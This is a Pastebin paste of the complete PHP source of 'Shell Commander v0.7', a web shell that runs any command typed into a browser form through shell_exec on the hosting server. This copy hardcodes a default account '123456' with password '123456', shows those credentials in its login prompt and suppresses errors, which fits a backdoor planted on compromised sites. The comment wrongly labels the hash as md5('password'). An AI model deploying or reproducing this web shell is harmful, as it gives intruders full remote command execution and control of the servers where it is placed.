manman89

Shell Commander v0.7 by Pavel Tzonkov

Nov 14th, 2012
63
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 12.07 KB | None | 0 0
  1. <?php
  2.                           /*=-- Shell Commander --=*\
  3.                          <*===--- version 0.7 ---===*>
  4.                           \*=--- Pavel Tzonkov ---=*/
  5.  
  6.  
  7. /***************************************************************************\
  8. |                                                                           |
  9. |  Copyright 2005-2006 SunHateR Home Studio                                 |
  10. |  Pavel Tzonkov <[email protected]>                                           |
  11. |                                                                           |
  12. |  Shell Commander is free software; you can redistribute it and/or modify  |
  13. |  it under the terms of the GNU General Public License as published by     |
  14. |  the Free Software Foundation; either version 2 of the License, or (at    |
  15. |  your option) any later version.                                          |
  16. |                                                                           |
  17. |  Site : http://gscripts.net                                               |
  18. |                                                                           |
  19. |  Shell Commander is distributed in the hope that it will be useful, but   |
  20. |  WITHOUT ANY WARRANTY; without even the implied warranty of               |
  21. |  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU         |
  22. |  General Public License for more details.                                 |
  23. |                                                                           |
  24. |  You should have received a copy of the GNU General Public License along  |
  25. |  with Shell Commander; if not, write to the Free Software Foundation,     |
  26. |  Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA              |
  27. |                                                                           |
  28. \***************************************************************************/
  29.  
  30. error_reporting(0);
  31. session_start();
  32.  
  33. unset($user);   // Just in case ;-]
  34. unset($pass);
  35.  
  36. if ($_POST['cmd']) $_POST['cmd'] = my_encode($_POST['cmd']);
  37.  
  38.  
  39.  
  40.                              /*=-- SETTINGS --=*\
  41.                              \*=-- SETTINGS --=*/
  42.  
  43.  
  44. //........................................................... GENERAL OPTIONS
  45. $cache_lines = 1000;    // Maximal number of output lines
  46. $history_lines = 100;   // Maximal number of command lines, stored in history
  47. $history_chars = 20;    // Maximal number of characters per line in displayed
  48.                         // history
  49.  
  50. //............................................................. USER ACCOUNTS
  51. // The passwords should be stored with their md5 sums.
  52. // For example, the following two lines do one and the same thing. If you
  53. // uncomment one of them it creates an user account with username 'user' and
  54. // password 'pass'.
  55. //
  56. $user[] = "123456";     $pass[] = "e10adc3949ba59abbe56e057f20f883e";   //md5("password");
  57. // $user[] = "user";        $pass[] = "1a1dc91c907325c69271ddf0c944bc72";
  58. //
  59. // You can add more than one user accounts.
  60.  
  61. //................................................................... ALIASES
  62. $alias = array(
  63.     "la"    => "ls -la",
  64.     "rf"    => "rm -f",
  65.     "unbz2" => "tar -xjpf",
  66.     "ungz"  => "tar -xzpf"
  67. );
  68.  
  69.  
  70.  
  71.                           /*=-- AUTHENTICATION --=*\
  72.                           \*=-- AUTHENTICATION --=*/
  73.  
  74.  
  75. if (!$_SESSION['user']) { //................................... NOT LOGGED IN
  76.  
  77.     $pr_login = "DEFAULT => 123456 => Login:\n";
  78.     $pr_pass = "DEFAULT => 123456 => Password:\n";
  79.     $err = "Invalid login!\n\n";
  80.     $succ = "Successful login!\n\n";
  81.  
  82.     if ($_SESSION['login'] && $_POST['cmd']) { // WE HAVE USERNAME & PASSWORD
  83.  
  84.         $_SESSION['output'] .= $pr_pass;
  85.  
  86.         if (in_array($_SESSION['login'], $user)) { //........ USERNAME EXISTS
  87.  
  88.             $key = array_search($_SESSION['login'], $user);
  89.  
  90.             if ($pass[$key] != md5($_POST['cmd'])) { //....... WRONG PASSWORD
  91.                 $_SESSION['output'] .= $err;
  92.                 unset($_SESSION['login']);
  93.                 $prompt = $pr_login;
  94.  
  95.             } else { //..................................... SUCCESSFUL LOGIN
  96.                 $_SESSION['user'] = $_SESSION['login'];
  97.                 $_SESSION['whoami'] = substr(shell_exec("whoami"), 0, -1);
  98.                 $_SESSION['host'] = substr(shell_exec("uname -n"), 0, -1);
  99.                 $_SESSION['dir'] = substr(shell_exec("pwd"), 0, -1);
  100.                 $_SESSION['output'] .= $succ;
  101.                 $prompt = set_prompt();
  102.                 unset($_SESSION['login']);
  103.             }
  104.  
  105.         } else { //......................................... NO SUCH USERNAME
  106.             $_SESSION['output'] .= $err;
  107.             unset($_SESSION['login']);
  108.             $prompt = $pr_login;
  109.         }
  110.  
  111.     } else { //................................................ LOGIN PROCESS
  112.  
  113.         if (!$_SESSION['login'] && !$_POST['cmd']) $prompt = $pr_login;
  114.  
  115.         if (!$_SESSION['login'] && $_POST['cmd']) {
  116.             $_SESSION['login'] = $_POST['cmd'];
  117.             $_SESSION['output'] .= substr($pr_login, 0, -1) . " $_POST[cmd]\n";
  118.             $prompt = $pr_pass;
  119.         }
  120.     }
  121.  
  122. } else { //........................................................ LOGGED IN
  123.  
  124.  
  125.  
  126.                             /*=-- MEMBERS AREA --=*\
  127.                             \*=-- MEMBERS AREA --=*/
  128.  
  129.  
  130.     $prompt = set_prompt();
  131.  
  132.     chdir($_SESSION['dir']);
  133.  
  134.     if ($_REQUEST['clear_hist']) //............................ CLEAR HISTORY
  135.         $_SESSION['history'] = "";
  136.  
  137.     if ($_SESSION['history']) $hist_arr = explode("\n", $_SESSION['history']);
  138.  
  139.     if ($_POST['cmd']) {
  140.  
  141.         if (!in_array($_POST['cmd'], $hist_arr)) { //......... ADD TO HISTORY
  142.             $hist_arr[] = $_POST['cmd'];
  143.             $_SESSION['history'] = implode("\n", $hist_arr);
  144.         }
  145.  
  146.         if (count($hist_arr) > $history_lines) { //........... CUTOFF HISTORY
  147.             $start = count($hist_arr) - $history_lines;
  148.             $_SESSION['history'] = "";
  149.  
  150.             for ($i = $start; $i < count($hist_arr); $i++)
  151.                 $_SESSION['history'] .= $hist_arr[$i] . "\n";
  152.  
  153.             $_SESSION['history'] = substr($_SESSION['history'], 0, -1);
  154.             $hist_arr = explode("\n", $_SESSION['history']);
  155.         }
  156.  
  157.         $first_word = first_word($_POST['cmd']);
  158.  
  159.         if (array_key_exists($first_word, $alias)) { //. CHECKING FOR ALIASES
  160.             $_POST['cmd'] = $alias[$first_word] . substr($_POST['cmd'], strlen($first_word));
  161.             $first_word = first_word($_POST['cmd']);
  162.         }
  163.  
  164.         switch ($first_word) {
  165.  
  166.           case "clear":
  167.             $_SESSION['output'] = "";
  168.             break;
  169.  
  170.           case "exit":
  171.             session_destroy();
  172.             refresh();
  173.             break;
  174.  
  175.           case "cd":
  176.             $_SESSION['output'] .= $prompt;
  177.             $result = shell_exec($_POST['cmd'] . " 2>&1 ; pwd");
  178.             $result = explode("\n", $result);
  179.             $_SESSION['dir'] = $result[count($result) - 2];
  180.  
  181.             if (count($result) > 2) //.............. WE HAVE AN ERROR MESSAGE
  182.                 $result[0] = "\n" . substr($result[0], strpos($result[0], "cd: ")) . "\n";
  183.             else $result[0] = "\n";
  184.  
  185.             $prompt = set_prompt();
  186.             $_SESSION['output'] .= $_POST['cmd'] . $result[0];
  187.             break;
  188.  
  189.           default:
  190.             $result = shell_exec($_POST['cmd'] . " 2>&1");
  191.  
  192.             if (substr($result, -1) != "\n") $result .= "\n";
  193.             $_SESSION['output'] .= $prompt . $_POST['cmd'] . "\n" . $result;
  194.  
  195.             $rows = preg_match_all('/\n/', $_SESSION['output'], $arr);
  196.             unset($arr);
  197.  
  198.             if ($rows > $cache_lines) {
  199.                 preg_match('/(\n[^\n]*){' . $cache_lines . '}$/', $_SESSION['output'], $out);
  200.                 $_SESSION['output'] = $out[0] . "\n";
  201.             }
  202.         }
  203.     }
  204. }
  205.  
  206.  
  207.  
  208.                              /*=-- FUNCTIONS --=*\
  209.                              \*=-- FUNCTIONS --=*/
  210.  
  211.  
  212. function my_encode($str) {
  213.     $str = str_replace("\\\\", "\\", $str);
  214.     $str = str_replace("\\\"", "\"", $str);
  215.     $str = str_replace("\\'", "'", $str);
  216.  
  217.     while (strpos($str, "  ") !== false) $str = str_replace("  ", " ", $str);
  218.  
  219.     return rtrim(ltrim($str));
  220. }
  221.  
  222. function set_prompt() {
  223.     global $_SESSION;
  224.  
  225.     return $_SESSION['whoami'] . "@" . $_SESSION['host'] . " " . substr($_SESSION['dir'], strrpos($_SESSION['dir'], "/") + 1) . " $ ";
  226. }
  227.  
  228. function first_word($str) {
  229.     list($str) = preg_split('/[ ;]/', $str);
  230.     return $str;
  231. }
  232.  
  233. function refresh() {
  234.     global $_SERVER;
  235.  
  236.     $self = substr($_SERVER['SCRIPT_NAME'], strrpos($_SERVER['SCRIPT_NAME'], "/") + 1);
  237.     header("Location: $self");
  238.     die;
  239. }
  240.  
  241.  
  242.  
  243.                              /*=-- HTML PAGE --=*\
  244.                              \*=-- HTML PAGE --=*/
  245.  
  246.  
  247. $out = substr(preg_replace('/<\/(textarea)/i', '&lt;/\1', $_SESSION['output']), 0, -1);
  248.  
  249. ?><HTML>
  250. <HEAD>
  251.   <TITLE>Shell Commander</TITLE>
  252.   <STYLE TYPE="text/css"><!--
  253.  
  254.     INPUT, TEXTAREA, SELECT, OPTION, TD {
  255.         color: #BBBBBB;
  256.         background-color: #000000;
  257.         font-family: Terminus, Fixedsys, Fixed, Terminal, Courier New, Courier;
  258.     }
  259.  
  260.     TEXTAREA {
  261.         overflow-y: auto;
  262.         border-width: 0px;
  263.         height: 100%;
  264.         width: 100%;
  265.         padding: 0px;
  266.     }
  267.  
  268.     INPUT {
  269.         border-width: 0px;
  270.         height: 26px;
  271.         width: 100%;
  272.         padding-top: 5px;
  273.     }
  274.  
  275.     SELECT, OPTION {
  276.         color: #000000;
  277.         background-color: #BBBBBB;
  278.     }
  279.  
  280.     BODY {
  281.         overflow-y: auto;
  282.         margin: 0;
  283.     }
  284.  
  285.   --></STYLE>
  286.   <SCRIPT LANGUAGE="JavaScript"><!--
  287.  
  288. hist_arr = new Array();
  289.  
  290. <?php
  291.  
  292. foreach ($hist_arr as $key => $value) {
  293.     $value = str_replace("\\", "\\\\", $value);
  294.     $value = str_replace("\"", "\\\"", $value);
  295.     echo "hist_arr[$key] = \"$value\";\n";
  296. }
  297.  
  298. ?>
  299.  
  300. function parse_hist(key) {
  301.     if (key < hist_arr.length) {
  302.         if (key != "") {
  303.             document.getElementById('input').value = hist_arr[key];
  304.             document.getElementById('input').focus();
  305.         }
  306.     } else {
  307.         window.location.href = "?clear_hist=1";
  308.     }
  309. }
  310.  
  311. function input_focus() {
  312.     document.getElementById('input').focus();
  313. }
  314.  
  315. function selection_to_clipboard() { // IE only!
  316.     if (window.clipboardData && document.selection)
  317.         window.clipboardData.setData("Text", document.selection.createRange().text);
  318. }
  319.  
  320. if (window.clipboardData)
  321.     document.oncontextmenu = new Function("document.getElementById('input').value = window.clipboardData.getData('Text'); input_focus(); return false");
  322.  
  323.   --></SCRIPT>
  324. </HEAD>
  325. <BODY onLoad="document.getElementById('output').scrollTop = document.getElementById('output').scrollHeight; input_focus()" TOPMARGIN="0" LEFTMARGIN="0">
  326. <TABLE CELLPADDING="0" CELLSPACING="0" BORDER="0" HEIGHT="100%" WIDTH="100%">
  327. <TR>
  328.   <TD HEIGHT="100%" BGCOLOR="#000000" STYLE="padding-top: 5px; padding-left: 5px; padding-right: 5px; padding-bottom: 0px"><TEXTAREA ID="output" onSelect="selection_to_clipboard()" onClick="input_focus()" READONLY><?php echo $out; ?></TEXTAREA></TD>
  329. </TR>
  330. <TR>
  331.   <TD BGCOLOR="#000000"><TABLE CELLPADDING="0" CELLSPACING="5" BORDER="0" WIDTH="100%">
  332.     <TR>
  333.     <FORM METHOD="POST" ACTION="?">
  334.       <TD NOWRAP onClick="input_focus()"><?php echo substr($prompt, 0, -1); ?></TD>
  335.       <TD WIDTH="100%"><INPUT ID="input" type="<?php if(!$_SESSION['user'] && $_SESSION['login']){echo 'password';}else{echo 'text';}?>" NAME="cmd"></TD>
  336.     </FORM><?php
  337.  
  338. if ($hist_arr) {
  339.  
  340.     ?><TD NOWRAP><SELECT onChange="parse_hist(this.options[this.selectedIndex].value)">
  341.         <OPTION VALUE="">--- HISTORY</OPTION><?php
  342.  
  343.     for ($i = count($hist_arr) - 1; $i >= 0; $i--) {
  344.  
  345.         if (strlen($hist_arr[$i]) > $history_chars) $option = substr($hist_arr[$i], 0, $history_chars - 3) . "...";
  346.         else $option = $hist_arr[$i];
  347.  
  348.         echo "<OPTION VALUE=\"" . $i . "\">$option</OPTION>";
  349.     }
  350.  
  351.       ?><OPTION VALUE="<?php echo ($history_lines + 1); ?>">--- CLEAR HISTORY</OPTION></SELECT></TD><?php
  352.  
  353. }
  354.  
  355.   ?></TR>
  356.   </TABLE></TD>
  357. </TR>
  358. </TABLE>
  359.  
  360. <SCRIPT LANGUAGE="JavaScript"><!--
  361. document.getElementById('output').scrollTop = document.getElementById('output').scrollHeight;
  362. --></SCRIPT>
  363.  
  364. </BODY>
  365. </HTML>
Advertisement
Add Comment
Please, Sign In to add comment